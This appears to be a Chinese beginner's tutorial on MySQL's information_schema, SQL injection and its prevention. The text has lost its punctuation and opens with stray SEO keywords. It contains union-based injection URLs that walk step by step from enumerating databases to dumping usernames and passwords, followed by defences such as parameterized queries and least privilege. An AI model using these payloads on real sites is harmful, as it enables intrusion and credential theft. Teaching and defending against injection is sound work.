网站建设合同概念,建设好网站需要做推广,网站关键词更换了,做特产的网站信息安全小白指南#xff1a;MySQL中的information_schema数据库与SQL注入防护
一、什么是information_schema#xff1f;
想象一下#xff0c;你有一个巨大的图书馆#xff0c;里面有很多书架、书籍和书页。information_schema就是这个图书馆的目录系统MySQL中的information_schema数据库与SQL注入防护一、什么是information_schema想象一下你有一个巨大的图书馆里面有很多书架、书籍和书页。information_schema就是这个图书馆的目录系统它告诉你整个图书馆里有哪些书架数据库、有哪些书表、书里有哪些章节列。关键点information_schema不是一张表而是一个系统数据库MySQL内置的它存储了所有数据库的元数据关于数据的数据它是MySQL 5.0版本才引入的它只读不能修改其中的数据二、information_schema中的关键表1. SCHEMATA表 - 数据库目录这个表告诉你图书馆里有哪些书架有哪些数据库关键字段SCHEMA_NAME数据库名命令SELECTSCHEMA_NAMEFROMinformation_schema.SCHEMATA;详细解释SELECT选择要查询的字段SCHEMA_NAME要查询的字段名FROM information_schema.SCHEMATA从information_schema数据库的SCHEMATA表中查询效果返回所有数据库名称例如test、users、blog2. TABLES表 - 表目录这个表告诉你每个书架上有哪些书每个数据库有哪些表关键字段TABLE_SCHEMA表所属的数据库名TABLE_NAME表名TABLE_TYPE表类型如BASE TABLE表示普通表VIEW表示视图命令SELECTTABLE_NAMEFROMinformation_schema.TABLESWHERETABLE_SCHEMAtest;详细解释WHERE TABLE_SCHEMA test只查询test数据库中的表TABLE_SCHEMA数据库名字段test要查询的数据库名效果返回test数据库中的所有表名例如users、products、comments3. COLUMNS表 - 列目录这个表告诉你每本书里有哪些章节每张表有哪些列关键字段TABLE_SCHEMA表所属的数据库名TABLE_NAME表名COLUMN_NAME列名DATA_TYPE列的数据类型如varchar、int命令SELECTCOLUMN_NAMEFROMinformation_schema.COLUMNSWHERETABLE_SCHEMAtestANDTABLE_NAMEusers;详细解释WHERE TABLE_SCHEMA test AND TABLE_NAME users只查询test数据库中users表的列COLUMN_NAME要查询的列名字段效果返回users表中的所有列名例如id、username、password、email三、在SQL注入中如何利用information_schema1. 联合查询注入Union-Based场景当你有一个SQL注入点如id1可以尝试通过UNION查询获取信息命令http://example.com/page.php?id1 UNION SELECT 1, SCHEMA_NAME, 3 FROM information_schema.SCHEMATA;详细解释id1原始查询条件UNION SELECT将两个查询结果合并1, SCHEMA_NAME, 3第一个查询需要3个字段这里用1和3填充FROM information_schema.SCHEMATA从SCHEMATA表获取数据库名效果在页面上显示所有数据库名2. 获取特定数据库的表名命令http://example.com/page.php?id1 UNION SELECT 1, TABLE_NAME, 3 FROM information_schema.TABLES WHERE TABLE_SCHEMA test;详细解释WHERE TABLE_SCHEMA test只查询test数据库的表TABLE_NAME要查询的表名字段效果在页面上显示test数据库中的所有表名3. 获取特定表的列名命令http://example.com/page.php?id1 UNION SELECT 1, COLUMN_NAME, 3 FROM information_schema.COLUMNS WHERE TABLE_SCHEMA test AND TABLE_NAME users;详细解释WHERE TABLE_SCHEMA test AND TABLE_NAME users只查询test数据库中users表的列COLUMN_NAME要查询的列名字段效果在页面上显示users表中的所有列名4. 获取表中的数据命令http://example.com/page.php?id1 UNION SELECT 1, username, password FROM test.users;详细解释FROM test.users从test数据库的users表中查询username, password要查询的列效果在页面上显示users表中的用户名和密码四、SQL注入的实战案例假设有一个网站存在SQL注入漏洞URL是http://example.com/vulnerable.php?id1步骤1获取所有数据库名http://example.com/vulnerable.php?id1 UNION SELECT 1, SCHEMA_NAME, 3 FROM information_schema.SCHEMATA;结果test,users,blog步骤2获取test数据库的表名http://example.com/vulnerable.php?id1 UNION SELECT 1, TABLE_NAME, 3 FROM information_schema.TABLES WHERE TABLE_SCHEMA test;结果users,products,comments步骤3获取users表的列名http://example.com/vulnerable.php?id1 UNION SELECT 1, COLUMN_NAME, 3 FROM information_schema.COLUMNS WHERE TABLE_SCHEMA test AND TABLE_NAME users;结果id,username,password,email步骤4获取users表的数据http://example.com/vulnerable.php?id1 UNION SELECT 1, username, password FROM test.users;结果admin,password123,john,john123…五、如何防护SQL注入1. 使用参数化查询最有效方法不安全的写法$id$_GET[id];$querySELECT * FROM users WHERE id $id;安全的写法$id$_GET[id];$stmt$pdo-prepare(SELECT * FROM users WHERE id :id);$stmt-bindParam(:id,$id,PDO::PARAM_INT);$stmt-execute();为什么安全参数化查询将数据和SQL命令分开处理防止攻击者注入恶意SQL2. 限制数据库用户权限最佳实践为Web应用创建专用数据库用户仅授予该用户所需的最小权限例如GRANT SELECT, INSERT ON database.* TO webuserlocalhost;为什么有效即使发生SQL注入攻击者也只能执行有限的操作3. 输入验证和过滤示例$id$_GET[id];if(!is_numeric($id)){die(Invalid ID);}为什么有效确保输入是数字防止SQL注入4. 使用Web应用防火墙WAFWAF可以检测和阻止常见的SQL注入模式例如ModSecurity5. 定期更新和打补丁保持MySQL和Web应用框架更新修复已知的安全漏洞六、总结information_schema是什么MySQL内置的系统数据库存储所有数据库、表、列的元数据是SQL注入的黄金钥匙SQL注入利用通过联合查询、报错注入等方式获取数据库结构最终获取敏感数据如何防护使用参数化查询最有效限制数据库用户权限输入验证和过滤使用Web应用防火墙定期更新和打补丁安全小贴士作为开发者永远不要相信用户输入保持最小权限原则定期进行安全审计记住SQL注入是Web安全中最古老也最常见的漏洞之一但通过正确的防护措施完全可以避免。希望这个解释对你理解information_schema和SQL注入防护有帮助如果你还有任何疑问随时问我哦~